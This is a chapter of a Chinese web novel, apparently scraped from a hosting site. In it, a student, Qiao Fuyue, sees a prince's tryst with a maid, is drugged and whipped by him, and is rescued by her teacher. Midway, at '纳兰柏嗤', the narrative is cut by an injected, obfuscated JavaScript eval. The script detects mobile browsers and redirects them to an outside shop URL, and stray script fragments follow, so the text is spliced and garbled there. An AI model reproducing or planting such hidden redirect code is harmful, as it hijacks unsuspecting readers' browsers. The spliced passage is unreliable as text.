文趣网 > 其他小说 > 错把夫子当温良 > 56. 受欺 撞破宫中丑闻
    自打那件轰动京城的命案尘埃落定后,乔芙月日子也恢复了原来的平静,随着她在书院里越发熟悉,新鲜感逐渐减弱,每日也都大差不差地过着,时间流淌得越发迅疾。

    一转眼间就已经进入了秋收时节,京城郊外皆是一片丰收美景,稻穗熟透了,被农户们欢喜地收割起来,上缴一部分之后,留着的便是抵御寒冬时必备的粮食了。

    而芙月也已及笄,虽也到了谈婚论嫁的年纪,但因家里人疼爱迁就她的想法,也便没太过着急,任由她继续在书院里博览群书、涉猎经书。

    却道一日傍晚,萧瑟的凉风吹过金黄的叶片,落叶纷飞,飘在书院的廊道中。

    芙月踏在落叶上,沙沙声让她不再疲倦过甚,清醒许多。

    当她如往常一样,出了北辰书院的大门,走在不知行走多少遍的林间小路上,忽然不远处的假石处隐隐响起一阵怪异的声音。

    芙月茫然地瞥了一眼,却因相隔有些距离而看不太清,她沉吟片刻,眉头紧锁着,犹豫着该不该去看个究竟。

    可出于好奇,也因她实在按捺不住浑身的躁动,还是蹑手蹑脚地绕了一个圈,顺势接近了假石的背部,猫起身子来,眯着眼看去。

    这不看也想不到,一看简直是大吃一惊,那假山底下两个白花花的人影抱成一团,咿咿呀呀地叫喊着,显然是在做男女之事。那画面看得芙月一下子脸羞红起来,扭过身子来,就想赶快逃跑,省得坏了人家的好事。

    可她刚转过身,却因太过紧张,撒开腿跑时不慎脚滑,险些跌倒在地,但也还是不可避免发出了声轻响。假山旁的两人惊弓之鸟般停了下来,一齐朝她这边看了过来。

    芙月感觉到背后有两道寒气袭来,哆嗦着回头看了一眼,正好和那两人对视在了一起,眼对眼,都是惊惧之色。

    这一看之后她更是暗道不好,因为这下子她是真看清那两人模样了,其中一人她还认识,就是和她一同在书院念书的五皇子纳兰柏。

    “你们继续啊,别管我,我就一路过的。”

    说罢,她提起自己的东西,飞也似沿着小路就往宫外奔去,仿佛背后有人步步进逼一般。

    而假石边的两人可还没反应过来,缓了好一会儿,纳兰柏瞳孔放大,惊慌失措地浑身颤抖起来,结结巴巴地说着:“她……她怎么会在这里,完了完了,她要是传出去让父皇知道,我可就彻底抬不起头来了。”

    在他边上的那个女子,是宫中一个小宫娥,名不见经传,但因生得一副好容貌,身子也是前凸后翘,深得五皇子垂涎。他们这般在宫里偷偷寻求刺激也非一次,但今日真的被发现还是吓掉了半条命,两个人皆是面色煞白。

    “殿下,您……您莫要抛弃妾身啊,”宫娥惶恐地低着头,抱紧他的手臂乞求道,“都是妾身不好,害得您也担惊受怕了,只求殿下别舍弃妾身。”

    纳兰柏摇头叹息道:“说这些干什么,现在先赶快离开这里才行,要是她叫来更多人过来,众目睽睽之下,我们就真的百口莫辩了。”

    那宫娥也赶忙穿好衣服,朝他俯身行了一礼后,步伐紊乱地冲出林子,须臾间就跑得无影无踪了。

    见她走远了,纳兰柏也松了一口气,把衣裳也穿上去以后。他又稍稍整理了一番衣衫,调整了一下呼吸,使面色足够自然以后,就打算也离开这处密林,赶紧离开这是非之地。

    可忽然身后又传来一道银铃般的笑声,他浑身骤然僵直,颤颤巍巍地掉过身子,一眼看到树边站着的一道倩影,心头一阵震动。

    “五殿下莫要担心,她不会轻易乱说话的,你这位皇子可不是谁都敢得罪的。”

    纳兰柏面色极为难看,眯紧了眼睛,警觉地看向她,怕她耍诈而狡辩起来:“你在说些什么,孤根本听不懂。”

    “殿下何必装糊涂,”那戴着面纱的女娘捂着嘴,笑得花枝招展,“我可是看着乔芙月她慌慌张张跑了出来,一看就是不太对劲,便也钻进这条小路,看到了你和我姑母宫里的宫女卿卿我我,裸着身子搂在一起。”

    纳兰柏应激了一般抓住腰间匕首,目光中不乏凶戾,咬着牙问道:“你……你会把这件事情说出去吗,还是要以此为把柄胁迫我做什么?”

    那女娘摇了摇头,毫不畏惧地注视着他,冷笑道:“五皇子啊,我呀,是来帮你的,你害怕乔芙月把事情捅出去,其实还是不能寄希望于她怕得罪人,谁知道她这种粗鲁的女子懂不懂规矩,多多少少还是要设法防范的。”

    “怎么防范?”

    她嘴角扬起,笑着说道:“别急,你随我去那边的宫殿里坐坐,我跟你慢慢说来,保管你能压下这件事,而我嘛,也可以好好教训一下乔芙月这个不懂礼数的女人。”

    “行,”纳兰柏深思熟虑一番,也答应了下来,“我跟你走。”

    芙月回府后一直心惊胆战的,她心头不断念叨着好奇心害人啊,暗自后悔去看了这一幕,心里担忧之后会不会被报复,甚至于被灭口也不无可能。

    她翌日回到书院后,始终不敢直视前排纳兰柏的身影,而好在大半天时间也没什么异样,似乎昨日一事根本没发生过,她也心里安定了不少。

    却在中午休息之时,书堂里空荡荡的,少许人尚在,苏渺渺、楼娖等人一如寻常时凑在一起,念叨着近日的各类传闻,眉飞色舞着,好不快活。

    而这时门外走来一个宫娥,她左右看了看,随即直奔向芙月的方向,小跑着凑近,朝她低头说道:“乔家女公子,奴婢有要事找您,还请您随我出去一趟。”

    芙月定睛一看,认出来此人是昨日和纳兰柏于一处的那女人,看着她这张脸,顿时心头一阵恶寒。她来找自己何事她也都是心知肚明,自知逃也逃不过,便未加犹豫,跟着她往外走去。

    一边的几人听到她们的对话,也都是有些奇怪,黄念转过头来,朝林雪鸢说道:“林娘子,这宫娥我记得好像是太后娘娘身边的侍女,她怎么会来找乔娘子啊?”

    林雪鸢也觉得满头雾水,摇摇头道:“我也不清楚,兴许是之前认识吧!”

    黄念嗯了声,转回头后,眉宇里还是不乏困惑,如她一般无二。林雪鸢握着发烫的茶杯,抿着嘴唇,心中疑窦难消。

    随着那偷情的宫娥走出书院,乔芙月犹豫许久后,鼓起胆子来,试探着问道:“你……你这身打扮,是太后宫里的吗,要带我去何处啊?”

    那宫娥也没回头,自顾自往前走着,说道:“五殿下想和你谈一谈,谈谈昨日那事情该如何,他说他会给你一些好处的。”

    “我……我不会说出去的,”乔芙月毫不迟疑地说道,“他不用担心的,我真不会说的啊!没必要特地叫我出来一趟的。”

    宫娥也没理睬她,领着她走到了一处偏僻的水榭边,躬身请她走进去。

    芙月也不疑有他,虽然内心还是有些警惕,但她也仗着自己好歹有武功傍身,也不太怕有什么意外,便走了进去缓缓坐了下来,扭头看向她道:“五殿下还没来吗?我等会儿还有课要上,没时间和他一起在这里耽搁的。”

    正当她皱着眉头,不太耐烦地站起身来往外瞟着,忽然腿一软,浑身一阵酥麻,无力地瘫倒在地上,瞪大了眼看向那宫娥,扯着嗓子问道:“你……你对我做了什么?”

    她猛然间想起来什么,费力地扭过头来,看了一眼水榭里放着的熏香,心中一阵了然。她眼眶欲裂,扶着桌案想要爬起来,可即便用尽力气也是挪动不了多少,只能搭在桌案上喘着粗气。

    这时身披大袄、魁梧高大的纳兰柏走了过来,挥了挥手让那宫娥先退下去,随后他冷笑着走了过来,神色阴鸷,用力把芙月又给踹倒在地,看着她难受的表情,嘴角止不住笑着。

    他眯着眼,目光阴翳地盯着她,道:“乔娘子啊,你是真的和我命中相冲啊,怎么什么事都能被你给撞见啊?”

    乔芙月气喘吁吁,趴在地上,额前汗滴直流,费力地说道:“五殿下,你……你这点事与我也无关,为何一定要做到这个地步啊?”

    纳兰柏嗤

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17696031|203943||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    笑了一声:“总要和你谈谈的,不然鬼知道你这人会不会拎不清,跟人胡言乱语。”

    乔芙月咬着牙,心头怒气满溢,怒斥他:“五殿下,明明是你不要脸面,为何反而还要一错再错?干这种此地无银三百两的肮脏事。”

    纳兰柏抬起脚来,用力踩了踩她纤细的手指,弯着腰道:“说实话啊,我其实也相信你不会说出去的,毕竟说出去也是两败俱伤,我的确吃不了兜着走,可你揭露皇室丑闻,我父皇母后他们也饶不了你。”

    “那你这样做是为何?”

    纳兰柏噗嗤一声笑了起来,从袖中取出根鞭子来,刺耳的风声破空而起,打在她娇小的身上,咧开嘴来道:“我啊,就是看你不爽,寻个由头找找你麻烦罢了,毕竟平时可没有办法让你轻易孤身来见我啊!”

    她呲牙咧嘴,大口喘着气,背上华美的淡蓝色衣裳已然破碎,血渍自裂口处流淌而出。她满头大汗地弓着身子,看上去甚是痛苦。

    事已至此,她也完全不顾忌他的身份,明白他完全就是个不要脸面的畜生,也怒声喊道:“纳兰柏,你连太后娘娘的人都敢碰,你还要脸吗?”

    纳兰柏恼羞成怒,挥鞭打向她的力道加重了一些,可芙月却强忍着,一声不吭,只是怒视他的眼神愈发坚定,看得纳兰柏一阵头皮发麻,心虚地侧过头来,不敢去看她洞彻心灵的目光。

    “这样吧,你求求饶,孤一心软也不是不能收手。”纳兰柏戏谑地笑道。

    “我呸。”芙月毫不留情,撑着地板费力地半蹲着身子,冷哼道,“你算什么东西,还要我向你求饶,总有一天会有人收拾你的。”

    纳兰柏被踩中尾巴般,怒不可遏地抬起鞭子,朝她满是汗滴的脸颊打去,眉宇间满是邪火。

    千钧一发之时,一道身影如闪电般飘来,一只修长的手抓住那根鞭子,往边上一扭,顿时纳兰柏手一松,鞭子随之掉落在地。

    纳兰柏心头一惊,抬眸看到来人竟是谭夭,一下有些怵然,后退数步,碍于他夫子的压迫感,不敢开口说什么。

    谭夭目光森寒地紧盯着他,但没第一时间开口说什么,先是走向瘫软着身子的乔芙月,小心地扶起她来,柔声安抚道:没事,别害怕,夫子我来了他欺负不了你。”

    随后,他脸色骤然一变,如凶煞的豺狼般直勾勾地看向纳兰柏,冷声道:“五殿下,无端欺凌同窗,按书院的规矩该当如何你应该知晓,回去找学监领罚去。”

    纳兰柏色厉内荏地高声喊道:“什么规矩不规矩的,我可是皇子,谭夫子你不要犯糊涂,得罪孤没你好果子吃。”

    谭夭像是听到什么天大的笑话一般,摇头道:“殿下还是太年轻了,和你那两个兄长比还是太懵懂无知了。你若再无法无天,我也不介意和陛下念叨念叨,让他来主持公道。五殿下啊,你这种人定是做了什么可耻之事,才怕暴露而寻乔娘子麻烦,你定然是觉得芙月她不敢揭露事情,让皇家颜面扫地,才如此有恃无恐,我一个孤家寡人,也没什么好怕的。”

    他伸出手来,在纳兰柏惨白的面前晃了晃,笑道:“把解药交出来,这事情也就过去了。”

    纳兰柏识趣地从袖子里掏出一个小瓷瓶,递给他后,连滚带爬地往外跑去,生怕夜长梦多,匆匆地跑远了。

    见他离开后,谭夭俯下身子来,把瓶子放到芙月鼻边,让她闻了闻。

    不多时她煞白的脸颊红润不少,看上去也没先前那样萎靡不振,在他搀扶下站了起来,面带感激地看着他道:“夫子,这次又是你救了我啊,我都不知欠了你多少人情了。说起来,夫子您怎么会这么巧也走到这里了?”

    “是你那个同桌,”谭夭解释了一声,“我当时刚走到书院门口,她从外面跑了过来,见到我以后让我来这里一趟,说她当时偷偷跟着你,看到你被下药动弹不得,就一刻也不敢停留找人来救你。”

    芙月听到他所言之后,内心暖流满溢,她感觉背上的伤口也不太疼了,浅笑着点了点头,紧绷的神经也松懈了下来。